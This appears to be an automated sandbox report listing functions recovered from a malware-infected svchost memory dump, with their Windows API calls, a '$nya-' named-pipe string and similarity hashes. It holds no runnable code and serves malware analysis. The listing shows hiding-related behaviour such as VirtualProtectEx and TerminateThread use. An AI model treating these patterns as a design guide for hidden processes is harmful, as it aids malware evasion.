Function 0000022F4B92A22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000022F4B92A289

Part of subcall function 0000022F4B92B144: __GetUnwindTryBlock.LIBCMT ref: 0000022F4B92B187
Part of subcall function 0000022F4B92B144: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000022F4B92B1AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000022F4B92A361
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000022F4B92A5AF
std::bad_alloc::bad_alloc.LIBCMT ref: 0000022F4B92A6BC

Strings

csm, xrefs: 0000022F4B92A384
csm, xrefs: 0000022F4B92A30A
csm, xrefs: 0000022F4B92A2A3

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction ID: 83a760fde54ee1c5f207a7528977c86193a96b1b5316f8e0d94e5d4ef025fc8b
Opcode Fuzzy Hash: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction Fuzzy Hash: 85D18D2AD007409AFBA8AFA5E65839E77B0F755798F100935DB8957797CB78C481C700

Function 0000022F4B922518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000022F4B92252D
GetCurrentProcessId.KERNEL32 ref: 0000022F4B922537
CreateFileW.KERNEL32 ref: 0000022F4B922568
WriteFile.KERNEL32 ref: 0000022F4B922590
ReadFile.KERNEL32 ref: 0000022F4B9225AF
CloseHandle.KERNEL32 ref: 0000022F4B9225B8

Strings

\\.\pipe\$nya-childproc, xrefs: 0000022F4B922549

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\$nya-childproc
API String ID: 166002920-3933612297
Opcode ID: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction ID: 56fa6b07a625ae531577085f785817776d22235ed9cb5571334ba84ca8f443b3
Opcode Fuzzy Hash: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction Fuzzy Hash: 2D116A3AA18B4092E7909F61F62831A7770F38DB94F945230EB9902AA9CFBDC144CB40

Function 0000022F4B8F7050 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000022F4B8F7078
__scrt_acquire_startup_lock.LIBCMT ref: 0000022F4B8F70CA
_RTC_Initialize.LIBCMT ref: 0000022F4B8F70F8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000022F4B8F711E
__scrt_release_startup_lock.LIBCMT ref: 0000022F4B8F7149

Memory Dump Source

Source File: 00000011.00000003.1646195511.0000022F4B8F0000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000022F4B8F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_22f4b8f0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: bd218116f59a5c56efc38000c5aded2ca847f2db8270a2ecf24cb78a0c5da713
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: CC81A23CE00241B6FAD4BFE9DA59B5B32B1AB86782F5440359B0947397FAB8C957C700

Function 0000022F4B927C50 Relevance: 12.2, APIs: 8, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000022F4B927C78
__scrt_acquire_startup_lock.LIBCMT ref: 0000022F4B927CCA
_RTC_Initialize.LIBCMT ref: 0000022F4B927CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000022F4B927D1E
__scrt_release_startup_lock.LIBCMT ref: 0000022F4B927D49

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 6da2365d5e17544b82aac065803e710dae94bd682bc38aef71eae997fec83743
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: 4681E528E05640B6FAD8BFE5D6B93AB62B1AB85780F5488349B4857397DBFCCC45C310

Function 0000022F4B929AAC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,0000022F4B929C6B,?,?,?,0000022F4B92945C,?,?,?,?,0000022F4B928F65), ref: 0000022F4B929B31
GetLastError.KERNEL32(?,?,?,0000022F4B929C6B,?,?,?,0000022F4B92945C,?,?,?,?,0000022F4B928F65), ref: 0000022F4B929B3F
LoadLibraryExW.KERNEL32(?,?,?,0000022F4B929C6B,?,?,?,0000022F4B92945C,?,?,?,?,0000022F4B928F65), ref: 0000022F4B929B69
FreeLibrary.KERNEL32(?,?,?,0000022F4B929C6B,?,?,?,0000022F4B92945C,?,?,?,?,0000022F4B928F65), ref: 0000022F4B929BD7
GetProcAddress.KERNEL32(?,?,?,0000022F4B929C6B,?,?,?,0000022F4B92945C,?,?,?,?,0000022F4B928F65), ref: 0000022F4B929BE3

Strings

api-ms-, xrefs: 0000022F4B929B51

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction ID: ec79bae74621d3473f9289de3cbe0439ae45c8112a6144b4fb78fd3ca3ac7a4a
Opcode Fuzzy Hash: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction Fuzzy Hash: C3310A2DE12640A1FE99BFA6E6287A723B4BB59B60F590938DE1D47792DF7CC044C300

Function 0000022F4B933400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000022F4B933431
GetLastError.KERNEL32 ref: 0000022F4B93343D
CloseHandle.KERNEL32 ref: 0000022F4B933455
CreateFileW.KERNEL32 ref: 0000022F4B933480
WriteConsoleW.KERNEL32 ref: 0000022F4B93349F

Strings

CONOUT$, xrefs: 0000022F4B933461

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: d7620b8c19884500c47e3124fb66e9135124c8218baa58d1833e4fac0ed32348
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: F1118129A14A4092E7D0AF92EA6C71A67B0F38CBE4F405234EB5D87B96CFB9C404C740

Function 0000022F4B926270 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000022F4B9262AB
GetThreadContext.KERNEL32 ref: 0000022F4B926415

Part of subcall function 0000022F4B9260A0: GetCurrentThreadId.KERNEL32 ref: 0000022F4B9260A4

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction ID: 54a9b70a4ef810b0383967a9bfaf94ee71e1065358e960c329d1809482fffa67
Opcode Fuzzy Hash: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction Fuzzy Hash: 1ED18D3AA08B4891EAB49F5AE5A435A77B0F388B84F100535EBCD47B66DF7CC551CB00

Function 0000022F4B922098 Relevance: 9.1, APIs: 6, Instructions: 113threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0000022F4B9220A6
TlsFree.KERNEL32 ref: 0000022F4B92225F
TlsFree.KERNEL32 ref: 0000022F4B92226B
TlsFree.KERNEL32 ref: 0000022F4B922277
TlsFree.KERNEL32 ref: 0000022F4B922283
TlsFree.KERNEL32 ref: 0000022F4B92228F

Part of subcall function 0000022F4B925E50: GetCurrentThreadId.KERNEL32 ref: 0000022F4B925E66

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Free$CurrentThread
String ID:
API String ID: 564911740-0
Opcode ID: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction ID: e4614e4e50a161e2bb6536ae214093138366ffb694989e2a8f17203713cc93de
Opcode Fuzzy Hash: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction Fuzzy Hash: F451B328E01B55B5FE8DBFA5EA782A637B1BB04745F804C35962C067A7EFB8C564C340

Function 0000022F4B9235C8 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,0000022F4B9224D1), ref: 0000022F4B9235EB
HeapAlloc.KERNEL32(?,?,?,?,?,0000022F4B9224D1), ref: 0000022F4B9235FE
StrCmpNIW.SHLWAPI(?,?,?,?,?,0000022F4B9224D1), ref: 0000022F4B923673
GetProcessHeap.KERNEL32(?,?,?,?,?,0000022F4B9224D1), ref: 0000022F4B9236D9
HeapFree.KERNEL32(?,?,?,?,?,0000022F4B9224D1), ref: 0000022F4B9236E7

Strings

$nya-, xrefs: 0000022F4B92366C

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $nya-
API String ID: 756756679-1266920357
Opcode ID: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction ID: f6368292fef801f456ef4d047ad2896ab5c4a3f22002196d8df88fadc90d907f
Opcode Fuzzy Hash: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction Fuzzy Hash: C8319529F05B55A6F698EF96D76932A63B4FB44B84F0848308F4807B56EFB8C461C700

Function 0000022F4B92C940 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000022F4B92C94F
SetLastError.KERNEL32 ref: 0000022F4B92C96E
FlsSetValue.KERNEL32 ref: 0000022F4B92C997
FlsSetValue.KERNEL32 ref: 0000022F4B92C9A8
FlsSetValue.KERNEL32 ref: 0000022F4B92C9B9

Part of subcall function 0000022F4B92D2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,0000022F4B92674A), ref: 0000022F4B92D2B6
Part of subcall function 0000022F4B92D2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,0000022F4B92674A), ref: 0000022F4B92D2C0

SetLastError.KERNEL32 ref: 0000022F4B92C9DC

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction ID: 5caee82ebc5799ff4bab53cc8ea9f8870476772665104bd938d6c37ff24bf77e
Opcode Fuzzy Hash: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction Fuzzy Hash: 88112E2DE1524072F6DC7FB1E63E36B22719F89790F545A34AA66563D7CEACC441C300

Function 0000022F4B921A30 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000022F4B921A56
K32GetModuleFileNameExW.KERNEL32 ref: 0000022F4B921A74
PathFindFileNameW.SHLWAPI ref: 0000022F4B921A83
lstrlenW.KERNEL32 ref: 0000022F4B921A8F
StrCpyW.SHLWAPI ref: 0000022F4B921AA2
CloseHandle.KERNEL32 ref: 0000022F4B921AB0

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction ID: 0a567cbdcd35ce77fb9ef5d2f757b24a0b632dea675aeb3ca454db5b1b0a9327
Opcode Fuzzy Hash: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction Fuzzy Hash: E8015B29B00A4092FA94EF92E9A835A63B1FB8CFC0F4840349F8D43755DEBDC995C780

Function 0000022F4B923E14 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,0000022F4B923AAC), ref: 0000022F4B923E30
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000022F4B923AAC), ref: 0000022F4B923E3E
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000022F4B923AAC), ref: 0000022F4B923E60
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000022F4B923AAC), ref: 0000022F4B923E7E
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000022F4B923AAC), ref: 0000022F4B923E9F
TerminateThread.KERNEL32(?,?,?,?,?,0000022F4B923AAC), ref: 0000022F4B923EAE

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction ID: c7e426ad3a8663a85c993172cbf675b4bc21cb55f235fc4e2dcdafeb815fee9c
Opcode Fuzzy Hash: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction Fuzzy Hash: A8012D69A1574096FBA8AFA2E9AC71777B1BB4DB45F040434CB4D06366EF7EC458C700

Function 0000022F4B921AD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000022F4B921AF4
StrCmpNIW.SHLWAPI ref: 0000022F4B921B0E
lstrlenW.KERNEL32 ref: 0000022F4B921B1D
StrCpyW.SHLWAPI ref: 0000022F4B921B32

Strings

\\?\, xrefs: 0000022F4B921B02

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction ID: c7868ee6e994c88c368ac7911b9c882d734e1b19883b4664ddc12e81d6a56a24
Opcode Fuzzy Hash: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction Fuzzy Hash: 7CF0A42AB04685A2F7A0AFA0F6A835A6371F74CB88F845031DB4942559DFADC668C700

Function 0000022F4B923708 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,0000022F4B92275A), ref: 0000022F4B92372A
StrCpyW.SHLWAPI ref: 0000022F4B92373A
StrCatW.SHLWAPI ref: 0000022F4B923746
PathCombineW.SHLWAPI(?,?,00000000,0000022F4B92275A), ref: 0000022F4B923754

Strings

\\.\pipe\, xrefs: 0000022F4B923720

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction ID: b8b2264c96036f2fd40b0f46cf7ae1827fe0674ee32b204284edde0178c0ef05
Opcode Fuzzy Hash: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction Fuzzy Hash: 43F05458F04B80D2EEC46F92FA2815B5274A74CFC0F445030EF1647B1ACEACC445C700

Function 0000022F4B92B904 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000022F4B92B929
GetProcAddress.KERNEL32 ref: 0000022F4B92B93F
FreeLibrary.KERNEL32 ref: 0000022F4B92B95B

Strings

CorExitProcess, xrefs: 0000022F4B92B938
mscoree.dll, xrefs: 0000022F4B92B920

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction ID: a04504cd0d85b7767a6ae057d92d07373024f35898ec03b55c9c901403f2537f
Opcode Fuzzy Hash: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction Fuzzy Hash: 1FF09629A0470161FA94AF94D9A935B2370EB4D7A4F541639DB6A451E6CFACC448C700

Function 0000022F4B925810 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000022F4B925896

Memory Dump Source

Source File: 00000011.00000002.3355105286.0000022F4B921000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000022F4B920000, based on PE: true

Associated: 00000011.00000002.3354416817.0000022F4B920000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3355926032.0000022F4B935000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3356680592.0000022F4B940000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3357400152.0000022F4B942000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3358068813.0000022F4B949000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22f4b920000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction ID: 8cf9ec95656e8e5e87e39a662f5ad30ac03dab08b7211d00651beb1416509c21
Opcode Fuzzy Hash: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction Fuzzy Hash: E202EA36919B8096EBA4DF55E5A435BB7B0F384794F104435EB8E87B6ADBBCC484CB00

Function 0000022F4B922C80 Relevance: 7.6, APIs: 6, Instructions: 131COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 0000022F4B922CAD
